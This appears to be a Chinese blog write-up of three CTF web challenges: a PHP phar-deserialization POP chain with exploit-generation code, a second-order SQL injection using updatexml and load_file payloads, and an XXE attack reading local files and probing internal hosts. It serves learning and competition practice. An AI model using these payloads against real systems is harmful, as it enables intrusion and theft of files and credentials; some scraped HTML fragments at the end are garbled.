• 【无标题】


    [CISCN2019 华北赛区 Day1 Web1]Dropbox  代码审计,pop链

    打开界面注册之后发现 

     可能做过类似的题,就想到了是不是有任意文件包含漏洞,或者删除之类的漏洞。

    然后上传文件之后,在下载这里抓一个包

     果不其然,有任意文件下载漏洞,然后我们看一下有没有flag,和源码

    1. session_start();
    2. if (!isset($_SESSION['login'])) {
    3. header("Location: login.php");
    4. die();
    5. }
    6. ?>
    7. include "class.php";
    8. $a = new FileList($_SESSION['sandbox']);
    9. $a->Name();
    10. $a->Size();
    11. ?>

    查看一下class.php的文件内容

    1. error_reporting(0);
    2. $dbaddr = "127.0.0.1";
    3. $dbuser = "root";
    4. $dbpass = "root";
    5. $dbname = "dropbox";
    6. $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); //上面是一些数据库链接的东西,可以省略
    7. class User {
    8. public $db;
    9. public function __construct() {
    10. global $db;
    11. $this->db = $db;
    12. }
    13. public function user_exist($username) {
    14. $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    15. $stmt->bind_param("s", $username);
    16. $stmt->execute();
    17. $stmt->store_result();
    18. $count = $stmt->num_rows;
    19. if ($count === 0) {
    20. return false;
    21. }
    22. return true;
    23. }
    24. public function add_user($username, $password) {
    25. if ($this->user_exist($username)) {
    26. return false;
    27. }
    28. $password = sha1($password . "SiAchGHmFx");
    29. $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    30. $stmt->bind_param("ss", $username, $password);
    31. $stmt->execute();
    32. return true;
    33. }
    34. public function verify_user($username, $password) {
    35. if (!$this->user_exist($username)) {
    36. return false;
    37. }
    38. $password = sha1($password . "SiAchGHmFx");
    39. $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    40. $stmt->bind_param("s", $username);
    41. $stmt->execute();
    42. $stmt->bind_result($expect);
    43. $stmt->fetch();
    44. if (isset($expect) && $expect === $password) {
    45. return true;
    46. }
    47. return false;
    48. }
    49. public function __destruct() {
    50. $this->db->close();
    51. }
    52. }
    53. class FileList {
    54. private $files;
    55. private $results;
    56. private $funcs;
    57. public function __construct($path) {
    58. $this->files = array();
    59. $this->results = array();
    60. $this->funcs = array();
    61. $filenames = scandir($path);
    62. $key = array_search(".", $filenames);
    63. unset($filenames[$key]);
    64. $key = array_search("..", $filenames);
    65. unset($filenames[$key]);
    66. foreach ($filenames as $filename) {
    67. $file = new File();
    68. $file->open($path . $filename);
    69. array_push($this->files, $file);
    70. $this->results[$file->name()] = array();
    71. }
    72. }
    73. public function __call($func, $args) {
    74. array_push($this->funcs, $func);
    75. foreach ($this->files as $file) {
    76. $this->results[$file->name()][$func] = $file->$func();
    77. }
    78. }
    79. public function __destruct() {
    80. $table = '
      ';
    81. $table .= '
    82. ';
    83. foreach ($this->funcs as $func) {
    84. $table .= '
    85. ';
    86. }
    87. $table .= '
    88. ';
    89. $table .= '
    90. ';
    91. foreach ($this->results as $filename => $result) {
    92. $table .= '
    93. ';
    94. foreach ($result as $func => $value) {
    95. $table .= '
    96. ';
    97. }
    98. $table .= '
    99. ';
    100. $table .= '
    101. ';
    102. }
    103. echo $table;
    104. }
    105. }
    106. class File {
    107. public $filename;
    108. public function open($filename) {
    109. $this->filename = $filename;
    110. if (file_exists($filename) && !is_dir($filename)) {
    111. return true;
    112. } else {
    113. return false;
    114. }
    115. }
    116. public function name() {
    117. return basename($this->filename);
    118. }
    119. public function size() {
    120. $size = filesize($this->filename);
    121. $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    122. for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    123. return round($size, 2).$units[$i];
    124. }
    125. public function detele() {
    126. unlink($this->filename);
    127. }
    128. public function close() {
    129. return file_get_contents($this->filename);
    130. }
    131. }
    132. ?>
    133. 然后就要开始代码审计,因为题目提醒了是phar反序列化,所以一定需要构造pop链,先找链尾,

       public function close() {
              return file_get_contents($this->filename);
          }发现this->filename是可控的,而且没有任何的过滤,所以这就可以了然后继续寻找

      User类中的

      public function __destruct() {
              $this->db->close();
          }

       Filelist类中的

      public function __call($func, $args) {
              array_push($this->funcs, $func);
              foreach ($this->files as $file) {
                  $this->results[$file->name()][$func] = $file->$func();
              }

       和public function __destruct()

      然后虽然逻辑上可以直接destruct->call,但是这样就只有写进文件中了,没有回显,所以需要

      User::destruct-->Filelist::call->file::close()->Filelist::destruct 

      这样就可以了,然后这里

      $this->db->close();
      $this->results[$file->name()][$func] = $file->$func();
      public function __call($func, $args) {
          array_push($this->funcs, $func);
          foreach ($this->files as $file) {
              $this->results[$file->name()][$func] = $file->$func();
          }
      }

      个人观点是,close()的值赋给了$func, 然后  this->funcs给了close()类,就可以调用成功了

      如有错误,欢迎指正

      call 和最后的destruct遍历数组会输出值

      1. error_reporting(0);
      2. class User {
      3. public $db;
      4. public function __construct() {
      5. $this->db = new FileList( );
      6. }
      7. }
      8. class FileList {
      9. private $files;
      10. private $results;
      11. private $funcs;
      12. public function __construct($path) {
      13. $this->files = array(new File());
      14. $this->results = array();
      15. $this->funcs = array();
      16. }
      17. }
      18. class File {
      19. public $filename="/flag.txt";
      20. }
      21. $user = new User();
      22. $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
      23. $phar-> startBuffering();
      24. $phar->setStub("GIF89a"); //设置stub
      25. $phar->setMetadata($user); //将对象user写入到metadata中
      26. $phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
      27. $phar->stopBuffering();

      构造完了以后,又有个新的问题,如何触发phar呢,以前都是filet_exits触发,然后

      看看下载和删除代码,里面有没有

      1. session_start();
      2. if (!isset($_SESSION['login'])) {
      3. header("Location: login.php");
      4. die();
      5. }
      6. if (!isset($_POST['filename'])) {
      7. die();
      8. }
      9. include "class.php";
      10. chdir($_SESSION['sandbox']);
      11. $file = new File();
      12. $filename = (string) $_POST['filename'];
      13. if (strlen($filename) < 40 && $file->open($filename)) {
      14. $file->detele();
      15. Header("Content-type: application/json");
      16. $response = array("success" => true, "error" => "");
      17. echo json_encode($response);
      18. } else {
      19. Header("Content-type: application/json");
      20. $response = array("success" => false, "error" => "File not exist");
      21. echo json_encode($response);
      22. }
      23. ?>

      public function detele() {
              unlink($this->filename);
          } 在class.php中发现了,这个

      然后delete 中 $file->delete不就会触发,这个然后删除,导致destruct,然后就通了

      然后抓包删除界面,直接改为phar获得flag

       这里flag为啥在/flag.txt,是一遍遍试出来的

      [CISCN2019 华北赛区 Day1 Web5]CyberPunk  二次注入

      额,打开界面第一眼的印象不会是sql注入,还是sql二次注入叭

      在源码中,发现这么几个页面,可是看不了源码,!!! 

       找了半天,额纯属眼瞎这么大的字没看见,很容易想到伪协议读取源码

      index.php

      1. ini_set('open_basedir', '/var/www/html/');
      2. // $file = $_GET["file"];
      3. $file = (isset($_GET['file']) ? $_GET['file'] : null);
      4. if (isset($file)){
      5. if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
      6. echo('no way!');
      7. exit;
      8. }
      9. @include($file);
      10. }
      11. ?>

      首先过滤,然后文件包含

      search.php

      1. require_once "config.php";
      2. if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))//传入 name phone
      3. {
      4. $msg = '';
      5. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';//防止查询,禁了一些寒素
      6. $user_name = $_POST["user_name"];
      7. $phone = $_POST["phone"];
      8. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
      9. $msg = 'no sql inject!';
      10. }else{
      11. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";// 进行查询操作
      12. $fetch = $db->query($sql);
      13. }
      14. if (isset($fetch) && $fetch->num_rows>0){//如果存在
      15. $row = $fetch->fetch_assoc();
      16. if(!$row) {
      17. echo 'error';
      18. print_r($db->error);
      19. exit;
      20. }
      21. $msg = "

        姓名:".$row['user_name']."

        , 电话:".$row['phone']."

        , 地址:".$row['address']."

        "
        ;
      22. } else {
      23. $msg = "未找到订单!";
      24. }
      25. }else {
      26. $msg = "信息不全";
      27. }
      28. ?>

       里面包含了config.php顺便来看一下

      1. ini_set("open_basedir", getcwd() . ":/etc:/tmp");
      2. $DATABASE = array(
      3. "host" => "127.0.0.1",
      4. "username" => "root",
      5. "password" => "root",
      6. "dbname" =>"ctfusers"
      7. );
      8. $db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

       看见了路径/etc:/tmp,执行的应该是数据库链接的操作

      delete.php

      1. require_once "config.php";
      2. if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
      3. {
      4. $msg = '';
      5. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
      6. $user_name = $_POST["user_name"];
      7. $phone = $_POST["phone"];
      8. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
      9. $msg = 'no sql inject!';
      10. }else{
      11. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
      12. $fetch = $db->query($sql);
      13. }
      14. if (isset($fetch) && $fetch->num_rows>0){
      15. $row = $fetch->fetch_assoc();
      16. $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
      17. if(!$result) {
      18. echo 'error';
      19. print_r($db->error);
      20. exit;
      21. }
      22. $msg = "订单删除成功";
      23. } else {
      24. $msg = "未找到订单!";
      25. }
      26. }else {
      27. $msg = "信息不全";
      28. }
      29. ?>

      其实我的目的是想找到一些,没过滤的那些字符,然后趁机进行sql注入得到flag

      可是看了一圈,貌似能用的都禁了,蒙😵

      忽略了个change.php

      1. require_once "config.php";
      2. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
      3. {
      4. $msg = '';
      5. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
      6. $user_name = $_POST["user_name"];
      7. $address = addslashes($_POST["address"]);
      8. $phone = $_POST["phone"];
      9. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
      10. $msg = 'no sql inject!';
      11. }else{
      12. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
      13. $fetch = $db->query($sql);
      14. }
      15. if (isset($fetch) && $fetch->num_rows>0){
      16. $row = $fetch->fetch_assoc();
      17. $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
      18. $result = $db->query($sql);
      19. if(!$result) {
      20. echo 'error';
      21. print_r($db->error);
      22. exit;
      23. }
      24. $msg = "订单修改成功";
      25. } else {
      26. $msg = "未找到订单!";
      27. }
      28. }else {
      29. $msg = "信息不全";
      30. }
      31. ?>

      if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

      看看我发现了什么,它只对pattern phone进行了过滤,但是我们还有个address没有任何的过滤

      ,而对address只是使用addslashes()函数,可以使用报错注入。

      $address = addslashes($_POST["address"]);

      在每个双引号(")前添加反斜杠:

      例如

      ghai is the \"biggest\" city in China.   双引号的前面加了反斜杠

       $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

      然后这是更新地址的代码,address用的'单引号闭合,我们完全可以

      1' where user_id=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

      这样不就可以绕过单引号,然后过滤后面的user_id,

       1' where user_id=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

        1' where user_id=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="user"),0x7e),1)#

      八成再password里面了

       1' where user_id=updatexml(1,concat(0x7e,(select group_concat(Password) from user),0x7e),1)#

      然后提示没有Password这个字段,蒙,翻师傅们的wp

      可能有人会问为啥直接load_file读取flag.txt,为什么不采用常规的sql注入操作一步步爆出来,其实我做也是有这个疑问,随后去问了别的师傅,得到的答复是:CISCN官方出题说明了flag在根目录下,hhh~

      1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#  

      因为flag一次显示不出来,所以需要substr分段显示

       

      这两道题挺考察代码审计功能的。

       [NCTF2019]True XML cookbo    xml外部注入

       打开界面注入抓包查看,xml注入漏洞

      xml的基本语法:

                   

                                                                                               

                                 

      Everyday Italian                                

      Giada De Laurentiis                

      2005                                              

      30.00                                            

                                                                       

                                                               

        称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

      standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
      内部DTD

      使用内部的dtd文件,即将约束规则定义在xml文档中

      外部DTO

      (1)使用外部dtd文件

      SYSTEM "dtd路径">
      

      (2)使用外部的dtd文件(网络上的dtd文件)

      PUBLIC "DTD名称" "DTD文档的URL">
      

       当使用外部DTD时,通过如下语法引入:

      root-element SYSTEM "filename">

      发现时xxe漏洞,试试用file协议直接读取一下flag:

       报错,八成是不存在吧


       
       ]>
      &abc;123456

       然后读取一下源码,因为当前界面就是doLogin.php

       file协议没通,那就试一下,php伪协议读取一下

       

      出现base64编码,

      1. /**
      2. * autor: c0ny1
      3. * date: 2018-2-7
      4. */
      5. $USERNAME = 'admin'; //账号
      6. $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
      7. $result = null;
      8. libxml_disable_entity_loader(false);
      9. $xmlfile = file_get_contents('php://input');
      10. try{
      11. $dom = new DOMDocument();
      12. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
      13. $creds = simplexml_import_dom($dom);
      14. $username = $creds->username;
      15. $password = $creds->password;
      16. if($username == $USERNAME && $password == $PASSWORD){
      17. $result = sprintf("%d%s",1,$username);
      18. }else{
      19. $result = sprintf("%d%s",0,$username);
      20. }
      21. }catch(Exception $e){
      22. $result = sprintf("%d%s",3,$e->getMessage());
      23. }
      24. header('Content-Type: text/html; charset=utf-8');
      25. echo $result;
      26. ?>

      发现没什么用,果断放弃这条路

      还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp

       

       存活了两个ip都访问一下

      看/proc/net/fib_trie可以查看到每个ip 里面端口的消息

       然后直接爆破最后一位获得flag

    134. 相关阅读:
      【C++】顺序表,栈相关练习(每日小细节006)
      多线程2—java
      近200篇文章汇总而成的机器翻译非自回归生成最新综述,揭示其挑战和未来研究方向...
      NFS网盘挂载-Ubuntu(linux)
      54 循环神经网络 RNN【动手学深度学习v2】
      一文读懂LockSupport
      Linux服务器上Neo4j的安装、迁移
      软考高级系统架构设计师系列之:计算机与网络基础知识汇总
      【HTML】原生js实现的图书馆管理系统
      SAP ABAP教程之 02 创建您的第一份 ABAP 报告 (教程含源码)
    135. 原文地址:https://blog.csdn.net/qq_62046696/article/details/127412185
    136. ' . htmlentities($func) . 'Opt
      ' . htmlentities($value) . 'htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎